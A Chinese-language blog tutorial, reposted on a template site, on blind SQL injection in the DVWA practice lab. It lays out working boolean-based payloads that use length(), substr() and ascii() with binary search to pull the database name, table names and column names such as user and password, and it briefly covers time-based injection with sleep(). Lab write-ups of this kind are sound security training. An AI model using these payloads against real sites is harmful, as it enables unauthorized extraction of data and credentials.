DVWA之sql注入——盲注

这篇具有很好参考价值的文章主要介绍了DVWA之sql注入——盲注。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1.盲注

1.1 布尔盲注

布尔很明显的Ture跟Fales,也就说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错 信息。

1.判断是否存在注入,注入的类型

dvwa sql盲注,sql,数据库,mysql,网络安全

dvwa sql盲注,sql,数据库,mysql,网络安全

不管输入框输入为何内容,页面上只会返回以下2种情形的提示: 满足查询条件则返回"User ID exists in the database.",不满足查询条件则返回"User ID is MISSING from the database.";两者返回的内容随所构造的真假条件而不同,说明存在SQL盲注。 

下面来演示一下盲注的过程:

2.猜解当前数据库名称

①猜解库名长度(二分法)

我们先猜测库名的长度大于10

于是构造payload:1' and length(database())>10#

dvwa sql盲注,sql,数据库,mysql,网络安全

但是结果显示missing

所以我们可以知道库名的长度比10要小

再次构造payload:1' and length(database())>5# 

结果还是missing

那这次用1' and length(database())>3#来试试 

dvwa sql盲注,sql,数据库,mysql,网络安全

结果显示exists

所以库名的长度在3-5之间

最后我们构造1' and length(database())=4#

dvwa sql盲注,sql,数据库,mysql,网络安全

显示exists,所以可以确定库名的长度为4

②判断数据库名称的字符组成元素 

既然我们知道数据库名有4个字符,那我们该如何确定具体的字符是什么呢?

我们可以在给定的字符串中利用substr()函数,从指定位置开始截取指定长度的字符串,分离出数据库名称的每 个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然 后各个击破。

substr()函数可以截取字符串,格式为substr(字符串,从第几个字符开始截取,截取的长度)

dvwa sql盲注,sql,数据库,mysql,网络安全

ascii()函数可以将字符转换为十进制数

dvwa sql盲注,sql,数据库,mysql,网络安全

ASCII码对照表 —在线工具 (sojson.com)

所以我们构造payload:1' and ascii(substr((select database()),1,1))>100#,这里我们同样用二分法

dvwa sql盲注,sql,数据库,mysql,网络安全

结果显示是missing

再次构造: 1' and ascii(substr((select database()),1,1))>50#

dvwa sql盲注,sql,数据库,mysql,网络安全

结果显示为exists,可知该ascii值在50到100之间

那我们再对其进行构造: 1' and ascii(substr((select database()),1,1))>75#

dvwa sql盲注,sql,数据库,mysql,网络安全

依然是exists,现在范围已经被我们逐渐缩小

经过不断测试,最终发现1' and ascii(substr((select database()),1,1))=100#是exists

所以第一个字符的ascii值为100,通过查找ascii表可知该字符为d

dvwa sql盲注,sql,数据库,mysql,网络安全

 文章来源地址https://www.toymoban.com/news/detail-744233.html

 那我们现在可以使用同样的方法对其他三个字符进行注入

最终可以注入出库名为dvwa

③判断表的数量

构造:1' and (select count(table_name) from information_schema.tables where table_schema=database())>5#

dvwa sql盲注,sql,数据库,mysql,网络安全

构造:1' and (select count(table_name) from information_schema.tables where table_schema=database())>2#

dvwa sql盲注,sql,数据库,mysql,网络安全

1' and (select count(table_name) from information_schema.tables where table_schema=database())>2#

dvwa sql盲注,sql,数据库,mysql,网络安全

所以我们可以知道dvwa库中有两张表

④猜解表名的长度

构造:1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10#

结果为missing

构造:1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#

dvwa sql盲注,sql,数据库,mysql,网络安全

所以第一张表的长度在5-10之间

1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#

dvwa sql盲注,sql,数据库,mysql,网络安全

所以可以知道第一张表长度为9,那第二张表的方法相同,最终猜解出长度为5

⑤判断表名的字符组成元素

我们就以第二张表为例,同样是使用substr()函数和ascii()函数的方法

构造:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>100#

dvwa sql盲注,sql,数据库,mysql,网络安全

exists

再次构造:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>120#

dvwa sql盲注,sql,数据库,mysql,网络安全

所以范围在100-120之间

经过不断测试我们知道第一个字符的ascii值117

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117#

dvwa sql盲注,sql,数据库,mysql,网络安全 

查表可知第一个字符为u

dvwa sql盲注,sql,数据库,mysql,网络安全 

 其他几个字符则不再演示,由我们上一篇文章已经知道该表为users

⑥猜解users表中字段个数

1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa')>10#

dvwa sql盲注,sql,数据库,mysql,网络安全

1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa')>5#

dvwa sql盲注,sql,数据库,mysql,网络安全 

1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa')=8#

dvwa sql盲注,sql,数据库,mysql,网络安全

可以知道users表中有8个字段

⑦猜解可能的字段

如果一个一个猜解其中的字段,那工作量十分巨大,现实的生产环境中可能有几十个字段,所以我们可以猜测其中可能存在的字段

比如:1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1;#

我们猜测其中有个字段为username,如果存在那就会返回exists

dvwa sql盲注,sql,数据库,mysql,网络安全

那我们再猜测可能有user字段 

 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1;#

dvwa sql盲注,sql,数据库,mysql,网络安全

所以存在user字段

同理我们也可以猜测是否有password字段

 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1;#

dvwa sql盲注,sql,数据库,mysql,网络安全

现在我们知道有user字段和password字段,那最后就是猜解字段值,和之前的方法相同,先是猜解长度,再逐个猜解字符,这个我们就不再演示了。

1.2 时间盲注

界面返回值只有一种 True,无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数, 通过查看WEB页面返回的时间差来判断注入的语句是否正确。

猜解当前连接数据库的名称

对于 if(判断条件,sleep(n),1) 函数而言,若判断条件为真,则执行sleep(n)函数,达到在正常响应时间 的基础上再延迟响应时间n秒的效果;若判断条件为假,则返回设置的1,此时不会执行sleep(n)函数。

构造:1' and if(length(database())=4,sleep(5),1);#

其实时间盲注和布尔盲注大体的思路差不多,只不过时间盲注得需要借助if()函数和sleep()函数

 

 

 

 

 

 

 

 

 

 

 

 

 

到了这里,关于DVWA之sql注入——盲注的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • DVWA------SQL Injection (Blind)(SQL盲注)

    一、SQL 盲注 1.简介 2.分类 3.盲注测试思路 二、SQL Injection (Blind) 1.LOW 1.1代码审计 1.2漏洞利用 2.medium 3.high 4.Impossible         SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法

    2024年02月16日
    浏览(38)
  • DVWA靶场中SQL注入

    1.1.1.Low级别   1)判断注入类型当输入1和1 and 1=2的时候均能够正常返回数值,证明不是数字型输入。那么这里基本上就能够判断是字符型注入。   2)判断字符型注入。输入1’ and 1=2 #的时候出现报错,证明存在字符型注入,并且单引号闭合。   3)判断有多少列当输入

    2024年02月03日
    浏览(49)
  • DVWA之SQL注入漏洞

    1、先确定正常和不正常的回显 回显,就是显示正在执行的批处理命令及执行的结果等。 输入1时,有回显,是正常的 数据库语句: select * from table where id =1 输入5时,有回显,是正常的 数据库语句: select * from table where id =5 输入6时,没有回显 数据库语句: select * from table

    2024年02月08日
    浏览(40)
  • DVWA-----SQL Injection(SQL手工注入)

    一、SQL注入 1.SQL注入原理  2.SQL注入分类 3.SQL注入思路 4.SQL注入绕过方法 二、SQL注入漏洞的分析         1. 定义 2. 原因 3.危害 三、Web 程序三层架构 四、SQL Injection 1.LOW 2.Medium  3.High  4.Impossible          通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或

    2024年02月02日
    浏览(41)
  • 安装DVWA数据库时始终报错解决方法

    安装DVWA靶场时,配置文件config.inc.php文件内容也更改过了,相关标红参数也改过了,但是安装数据库时还是出现如下问题,甚至在mysql的bin目录下执行数据库连接也是一样的错误,是为什么呢? 第一步,根据报错类型来确定解决办法 Could not connect to the database service. Please che

    2024年02月11日
    浏览(28)
  • DVWA-SQL Injection SQL注入

    SQL注入,是指将特殊构造的恶意SQL语句插入Web表单的输入或页面请求的查询字符串中,从而欺骗后端Web服务器以执行该恶意SQL语句。 成功的 SQL 注入漏洞可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作 (例如关闭 DBMS),恢复 DBM

    2024年02月08日
    浏览(38)
  • DVWA平台搭建+SQL注入实验详解

    实现1: 实现DVWA平台的搭建,为后续的SQL注入提供练习环境; 实现2: 进行SQL注入的练习,目的是了解因web应用程序对用户输入数据的合法性没有判断或过滤不严,而造成的危害,以便后续更好地掌握对其的防御手段,提高网络安全意识; 1、下载phpstudy安装包 (注意:如果

    2024年02月05日
    浏览(51)
  • 【SQL代理中转注入】对DVWA登录界面username字段实施注入

      以DVWA为攻击目标,将login.php中第21、22行注释掉 如此可知,首先需要通过token验证,然后能进行查询。 1.token验证通过。 这里token用到的函数是dvwaPage.inc.php中调用的 通过查看函数被调用的部分和逻辑,可知该检测是如此检测或者说避免CSRF攻击的: ①访问login.php,页面生成

    2024年04月25日
    浏览(33)
  • 使用burpsuite抓包 + sql工具注入 dvwa初级靶场

    记录一下自己重新开始学习web安全之路②。 1.工具准备 sqlmap + burpsuite 2.浏览器准备 火狐浏览器 + 设置代理。 首先,先设置一下火狐浏览器的代理 http代理地址为127.0.0.0.1 ,端口为8080 3.burpsuite 准备 将burpsuite的抓包功能打开。 注:burpsuite 不抓127.0.0.1 /dvwa-master的包,所以需要

    2024年02月07日
    浏览(42)
  • SQL注入(DVWA靶场搭建及使用、sqlMap注入、sqlmap问题及解决办法)

    1、客户端向服务端请求的流程 2、SQL注入常见分类  3、SQL注入常见过程  4、SQL注入的作用  5、常用SQL测试语句  注释字符: 一、下载DVWA 下载地址:DVWA/README.zh.md at master · digininja/DVWA · GitHub 这里我是从GitHub上下载的,小伙伴们自行选择 二、安装DVWA 在安装前,需要做一个

    2024年01月23日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包